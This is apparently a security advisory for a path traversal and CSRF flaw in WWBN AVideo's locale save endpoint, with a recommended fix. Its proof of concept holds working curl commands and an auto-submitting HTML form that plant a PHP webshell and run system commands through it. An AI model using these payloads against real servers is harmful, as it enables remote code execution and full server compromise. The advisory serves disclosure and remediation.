WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)

Summary

The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.

Details

In locale/save.php, the vulnerable code path is:

// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
    // ...
    die(json_encode($obj));
}

// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";

// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");

// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);

Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php — the web-accessible parent directory.

The file content is constructed as:

<?php
global $t;
{$_POST['code']}  // attacker-controlled, written verbatim

An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).

CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.

PoC

Direct exploitation (requires admin session):

# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
  -X POST 'https://target/locale/save.php' \
  -d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'

# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...

CSRF variant (no direct admin access needed):

Host the following HTML on an attacker-controlled site and lure an admin to visit:

<html>
<body>
<form method="POST" action="https://target/locale/save.php">
  <input type="hidden" name="flag" value="../../webshell">
  <input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

After the admin visits the page, the attacker accesses https://target/webshell.php?c=id for RCE.

Impact

• Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
• CSRF to RCE chain: Because no CSRF token is required and SameSite=None is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.
• Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.

Recommended Fix

Sanitize the flag parameter to prevent path traversal and add CSRF protection:

// locale/save.php — after the admin check at line 14

// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
    $obj->status = 0;
    $obj->error = __("Invalid token");
    die(json_encode($obj));
}

// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
    $obj->status = 0;
    $obj->error = __("Invalid locale flag");
    die(json_encode($obj));
}

$file = $dir . $flag . ".php";

// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
    $obj->status = 0;
    $obj->error = __("Invalid file path");
    die(json_encode($obj));
}

Additionally, the code parameter should be validated to ensure it only contains translation assignments ($t[...] = ...;) and does not include PHP opening/closing tags or arbitrary code.